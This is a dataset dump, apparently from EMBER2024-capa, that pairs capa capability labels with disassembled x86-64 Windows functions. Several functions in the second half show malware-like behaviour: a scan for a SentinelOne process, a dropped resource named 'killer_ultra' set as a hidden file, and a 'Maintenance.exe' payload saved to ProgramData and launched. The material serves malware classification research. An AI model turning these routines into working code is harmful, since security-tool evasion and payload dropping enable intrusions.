joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180060b60
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1800760a8]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
xorps xmm0, xmm0
xor ebp, ebp
mov rsi, rcx
movups xmmword [rsp + 0x58], xmm0
mov edi, ebp
mov ebx, ebp
movups xmmword [rsp + 0x68], xmm0
mov qword [r11 - 0x20], rax
lea rax, [0x180060a00]
mov qword [r11 - 0x68], rax
lea rax, [0x180060a40]
mov qword [r11 - 0x60], rax
lea rax, [0x180060a80]
mov qword [r11 - 0x58], rax
lea rax, [0x180060ae0]
mov qword [r11 - 0x50], rax
lea rax, [0x180060b30]
mov qword [r11 - 0x48], rax
nop dword [rax]
mov r8, qword [rsp + rbx + 0x30]
xor edx, edx
mov r9, r8
mov qword [rsp + 0x28], rbp
xor ecx, ecx
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + rbx + 0x58], rax
test rax, rax
je 0x180060caf
inc edi
add rbx, 8
cmp edi, 5
jl 0x180060be0
mov edi, 5
lea rdx, [rsp + 0x58]
mov ecx, edi
mov r9d, 0xffffffff
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
lea rbx, [rsp + 0x58]
mov rcx, qword [rbx]
test rcx, rcx
je 0x180060c45
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 8
sub rdi, 1
jne 0x180060c37
lea ecx, [rdi + 0x38]
call fcn.18006c58c
xor ecx, ecx
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], rcx
mov rcx, qword [0x1817d7440]
mov r9, qword [0x1817d7448]
mov r8, qword [0x1817d7428]
mov rdx, qword [0x1817d7430]
mov qword [rsp + 0x28], rcx
mov rcx, qword [0x1817d7438]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call section..text
mov rdx, rsi
mov rcx, rax
call fcn.180001a40
xor eax, eax
jmp 0x180060cb4
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.18006c560
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180060ec0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbx
push rdi
sub rsp, 0x68
mov rdi, rcx
mov dword [rax - 0x38], 0
mov qword [rax - 0x30], rcx
mov qword [rax - 0x28], r8
mov rax, qword gs:[0x30]
mov rdx, qword [rax + 0x60]
mov eax, dword [rdx + 0x118]
shl eax, 0x10
or eax, dword [rdx + 0x11c]
cmp eax, 0x60000
jb 0x180060f38
call sub.msvcrt.dll__errno
lea rbx, [rax - 0x10]
mov rcx, qword [rbx + 8]
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x180060f2f
xor ebx, ebx
lea ecx, [rbx + 0x10]
call qword [sym.imp.msvcrt.dll__amsg_exit]
mov rax, qword [rbx + 0xe0]
jmp 0x180060f60
call sub.msvcrt.dll__errno
lea rbx, [rax - 0x10]
mov rcx, qword [rbx + 8]
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x180060f59
xor ebx, ebx
lea ecx, [rbx + 0x10]
call qword [sym.imp.msvcrt.dll__amsg_exit]
mov rax, qword [rbx + 0xd8]
lea rdx, [rsp + 0x48]
mov ecx, dword [rdi]
call rax
mov dword [rsp + 0x40], 0
jmp 0x180060f73
mov eax, dword [rsp + 0x40]
add rsp, 0x68
pop rdi
pop rbx
ret
Function at 0x180062ee0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x70
mov rax, qword gs:[0x30]
mov rsi, r9
mov r14, r8
mov rbp, rdx
mov rbx, rcx
mov r10, qword [rax + 0x60]
mov eax, dword [r10 + 0x118]
shl eax, 0x10
or eax, dword [r10 + 0x11c]
cmp eax, 0x60000
jb 0x180062f54
call sub.msvcrt.dll__errno
lea rdi, [rax - 0x10]
mov rax, qword [rax - 8]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x180062f4c
xor edi, edi
lea ecx, [rdi + 0x10]
call qword [sym.imp.msvcrt.dll__amsg_exit]
mov eax, dword [rdi + 0x2c0]
jmp 0x180062f61
mov ecx, 1
call fcn.1800686e0
mov eax, dword [rax + 0x28]
mov rdi, qword [rsp + 0xa0]
test eax, eax
jne 0x180062f9d
mov eax, dword [rbx]
cmp eax, 0xe06d7363
je 0x180062f9d
cmp eax, 0x80000029
jne 0x180062f8d
cmp dword [rbx + 0x18], 0xf
jne 0x180062f94
cmp qword [rbx + 0x60], 0x19930520
je 0x180062f9d
cmp eax, 0x80000026
je 0x180062f9d
test byte [rdi], 0x20
jne 0x18006312a
mov r8d, dword [rbx + 4]
test r8b, 0x66
je 0x180063063
movsxd rax, dword [rdi + 8]
test eax, eax
je 0x18006312a
mov rdx, rax
lea r9, [0x180000000]
add rdx, qword [rsi + 8]
movzx ecx, byte [rdx]
and ecx, 0xf
movsx rax, byte [rcx + r9 + 0x6de28]
movzx ecx, byte [rcx + r9 + 0x6de38]
sub rdx, rax
mov eax, dword [rdx - 4]
shr eax, cl
test eax, eax
je 0x18006312a
cmp dword [rsp + 0xa8], 0
jne 0x18006312a
test r8b, 0x20
je 0x180063050
mov ecx, dword [rbx]
cmp ecx, 0x80000026
jne 0x180063030
mov r8, qword [rsi + 0x20]
mov rdx, rsi
mov rcx, rdi
call fcn.180064250
mov r9d, eax
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
call fcn.180063940
jmp 0x18006312a
cmp ecx, 0x80000029
jne 0x180063050
mov r9d, dword [rbx + 0x38]
mov r8, rdi
mov rcx, qword [rbx + 0x28]
mov rdx, rsi
call fcn.180063940
jmp 0x18006312a
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
call fcn.1800610c0
jmp 0x18006312a
mov r8, qword [rsi + 8]
lea rcx, [rsp + 0x40]
mov rdx, rdi
call fcn.180063150
cmp dword [rsp + 0x40], 0
jne 0x180063084
test byte [rdi], 0x40
je 0x18006312a
cmp dword [rbx], 0xe06d7363
jne 0x1800630f0
cmp dword [rbx + 0x18], 3
jb 0x1800630f0
cmp dword [rbx + 0x20], 0x19930522
jbe 0x1800630f0
mov rax, qword [rbx + 0x30]
cmp dword [rax + 8], 0
je 0x1800630f0
call fcn.1800619c0
mov rcx, qword [rbx + 0x30]
movsxd rdx, dword [rcx + 8]
add rax, rdx
je 0x1800630f0
movzx ecx, byte [rsp + 0xb8]
mov r9, rsi
mov dword [rsp + 0x38], ecx
mov r8, r14
mov rcx, qword [rsp + 0xb0]
mov rdx, rbp
mov qword [rsp + 0x30], rcx
mov ecx, dword [rsp + 0xa8]
mov dword [rsp + 0x28], ecx
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call rax
jmp 0x18006312f
mov rax, qword [rsp + 0xb0]
mov r9, rsi
mov qword [rsp + 0x38], rax
mov r8, r14
mov eax, dword [rsp + 0xa8]
mov rdx, rbp
mov dword [rsp + 0x30], eax
mov rcx, rbx
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], rdi
call fcn.180062070
mov eax, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x180064820
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x1800760a8]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x18006485c
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.18006c76c
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x180064918
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x18006497e
test ebx, ebx
jne 0x18006497e
lea ecx, [rax + 2]
call fcn.18006c76c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.18006c560
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret
Function at 0x1400caca3
Capabilities:
Set file attributes

Disassembly:
jmp 0x1400e5280
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdx, [0x1402791b4]
lea rcx, [0x1402791b8]
call fcn.1400cab40
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400e52b1
xor al, al
jmp 0x1400e52e2
mov r8, qword [rbp + 8]
mov edx, 0x378c0
lea rcx, section..data
call fcn.1400cd458
mov edx, 2
lea rcx, str.trevor
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x1400e52e0
xor al, al
jmp 0x1400e52e2
mov al, 1
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400caf87
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x140128a20
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x140128a48
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x140128a92
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x140128a3d
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret
Function at 0x1400cbbd5
Capabilities:
Extract resource via kernel32 functions
Set file attributes

Disassembly:
jmp 0x1400e6890
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea r8, str.killer_ultra
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400e68c5
xor eax, eax
jmp 0x1400e6974
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400e68e3
xor eax, eax
jmp 0x1400e6974
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x64], eax
lea rdx, [0x1402791b4]
lea rcx, [0x1402791b8]
call fcn.1400cab40
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x1400e6928
xor eax, eax
jmp 0x1400e6974
mov edx, 2
lea rcx, str.trevor
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x1400e694e
mov rcx, qword [rbp + 0x88]
call fcn.1400cc30f
xor eax, eax
jmp 0x1400e6974
mov eax, dword [rbp + 0x64]
mov r8, qword [rbp + 0x88]
mov edx, eax
mov rcx, qword [rbp + 0x48]
call fcn.1400d0167
mov rcx, qword [rbp + 0x88]
call fcn.1400cc30f
mov eax, 1
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400cc823
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140190250
mov rax, rcx
neg rcx
test rax, 7
je 0x14019026d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1401902c8
test al, 7
jne 0x140190260
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140190281
mov rdx, qword [rax - 8]
test dl, dl
je 0x1401902f2
test dh, dh
je 0x1401902ec
shr rdx, 0x10
test dl, dl
je 0x1401902e6
test dh, dh
je 0x1401902e0
shr rdx, 0x10
test dl, dl
je 0x1401902da
test dh, dh
je 0x1401902d4
shr edx, 0x10
test dl, dl
je 0x1401902ce
test dh, dh
jne 0x140190281
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret
Function at 0x1400cc869
Capabilities:
Query environment variable

Disassembly:
jmp 0x14023e250
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.14023ddd0
lea rcx, [rsp + 0x20]
call fcn.14023de20
movzx eax, al
test eax, eax
jne 0x14023e295
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.14023de00
mov rax, qword [rsp + 0x40]
jmp 0x14023e38f
lea rcx, [rsp + 0x20]
call fcn.14023df20
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.14023dec0
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.1400ccc83
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1400cc148
lea rcx, [rsp + 0x28]
call fcn.1400cd1b5
movzx eax, al
test eax, eax
jne 0x14023e32f
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.1400ce830
lea rcx, [rsp + 0x20]
call fcn.14023de00
mov rax, qword [rsp + 0x50]
jmp 0x14023e38f
lea rcx, [rsp + 0x20]
call fcn.14023df20
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.1400cf91f
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.1400ccba7
lea rcx, [rsp + 0x28]
call fcn.1400d03ab
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.1400ce830
lea rcx, [rsp + 0x20]
call fcn.14023de00
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x1400cce45
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140181230
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140180bb0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14018126f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14032a020]
jmp 0x140181279
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x1400cd0d4
Capabilities:
Query environment variable

Disassembly:
jmp 0x14023dfa0
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14023ddd0
lea rcx, [rsp + 0x40]
call fcn.14023df50
movzx eax, al
test eax, eax
jne 0x14023dfe8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.14023de00
mov rax, qword [rsp + 0x70]
jmp 0x14023e1b9
lea rcx, [rsp + 0x40]
call fcn.14023df20
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14023dec0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.14023df20
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400ce411
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14023e08e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.14023de00
mov rax, qword [rsp + 0x80]
jmp 0x14023e1b9
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400ccc83
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400cc9fe
lea rcx, [rsp + 0x48]
call fcn.1400cc37d
movzx eax, al
test eax, eax
jne 0x14023e0f5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400cadde
lea rcx, [rsp + 0x40]
call fcn.14023de00
mov rax, qword [rsp + 0x88]
jmp 0x14023e1b9
lea rcx, [rsp + 0x48]
call fcn.1400cd638
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.14023df20
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400ce411
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14023e18b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400cadde
lea rcx, [rsp + 0x40]
call fcn.14023de00
mov rax, qword [rsp + 0xa0]
jmp 0x14023e1b9
lea rcx, [rsp + 0x48]
call fcn.1400cc9a9
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400cadde
lea rcx, [rsp + 0x40]
call fcn.14023de00
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x1400cd0ed
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140181160
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140180b30
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1401811a1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14032a020]
jmp 0x1401811a7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x1400cd17e
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400e44e0
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0x668], rax
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
xor edx, edx
mov ecx, 2
call fcn.1400ccab7
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
je 0x1400e45d3
mov dword [rbp + 0xb0], 0x238
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call fcn.1400cd656
test eax, eax
je 0x1400e45c6
mov r8d, 0x104
lea rdx, [rbp + 0xdc]
lea rcx, [rbp + 0x310]
call fcn.1400cee84
lea rcx, [rbp + 0x310]
call fcn.1400cb513
lea rdx, str.sentinelone
mov rcx, rax
call fcn.1400cc8c8
test rax, rax
je 0x1400e45af
mov eax, 1
jmp 0x1400e45d5
lea rdx, [rbp + 0xb0]
mov rcx, qword [rbp + 0x88]
call fcn.1400ced3a
test eax, eax
jne 0x1400e456f
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400cea88
mov rax, rdi
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret

Function at 0x1400cd1bf
Capabilities:
Get geographical location

Disassembly:
jmp 0x140223de0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140222d10
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140223e47
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x14032a030]
jmp 0x140223e69
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400cc2ec
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1400cd1d8
Capabilities:
Terminate process

Disassembly:
jmp 0x14015d410
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400cd5bb
Capabilities:
Print debug messages

Disassembly:
jmp 0x14024a060
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14024a086
jmp 0x14024a103
mov rcx, qword [rbp + 0x30]
call fcn.1400cc823
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14024a09f
jmp 0x14024a103
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14024a0bc
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400cb027
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.1400cb6bc
test eax, eax
jne 0x14024a103
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x1400cd72d
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
jmp 0x1400e3f90
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, reloc.OLEAUT32.dll_VarDecRound
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14030bad8]
xor rax, rbp
mov qword [rbp + 0x490], rax
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x23
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x1400e40e1
lea rdx, [0x140279ea8]
lea rcx, [rbp + 0x10]
call fcn.1400ca58c
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.SystemMaintenance
lea rcx, [rbp + 0x10]
call fcn.1400ca58c
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str.Maintenance.exe
lea rcx, [rbp + 0x10]
call fcn.1400ca58c
movzx eax, word [0x140278ddc]
mov word [rbp + 0x234], ax
lea rcx, [rbp + 0x234]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
mov rdx, rax
lea rcx, [rbp + 0x234]
call fcn.1400ce330
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.1400cf21c
movzx eax, al
test eax, eax
je 0x1400e40b2
lea rdx, str.Downloaded_and_saved_to
lea rcx, [0x14030ed70]
call fcn.1400cce54
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.1400cce54
mov qword [rbp + 0x488], rax
lea rdx, [0x1400ccbc0]
mov rcx, qword [rbp + 0x488]
call fcn.1400ce6f0
jmp 0x1400e40df
lea rdx, str.Download_failed_
lea rcx, [0x14030ed70]
call fcn.1400cce54
mov qword [rbp + 0x488], rax
lea rdx, [0x1400ccbc0]
mov rcx, qword [rbp + 0x488]
call fcn.1400ce6f0
jmp 0x1400e410e
lea rdx, str.Could_not_get_ProgramData_path_
lea rcx, [0x14030ed70]
call fcn.1400cce54
mov qword [rbp + 0x488], rax
lea rdx, [0x1400ccbc0]
mov rcx, qword [rbp + 0x488]
call fcn.1400ce6f0
lea rax, [rbp + 0x260]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x2e8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rbp + 0x260], 0x68
lea rcx, [rbp + 0x10]
call fcn.1400ca645
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rcx, [rbp - 0x50]
lea rdx, [0x140277ca0]
call fcn.1400cea88
mov rcx, qword [rbp + 0x490]
xor rcx, rbp
call fcn.1400ccb7f
lea rsp, [rbp + 0x4a8]
pop rdi
pop rbp
ret

Function at 0x1400cda4d
Capabilities:
Set environment variable

Disassembly:
jmp 0x1402400c0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
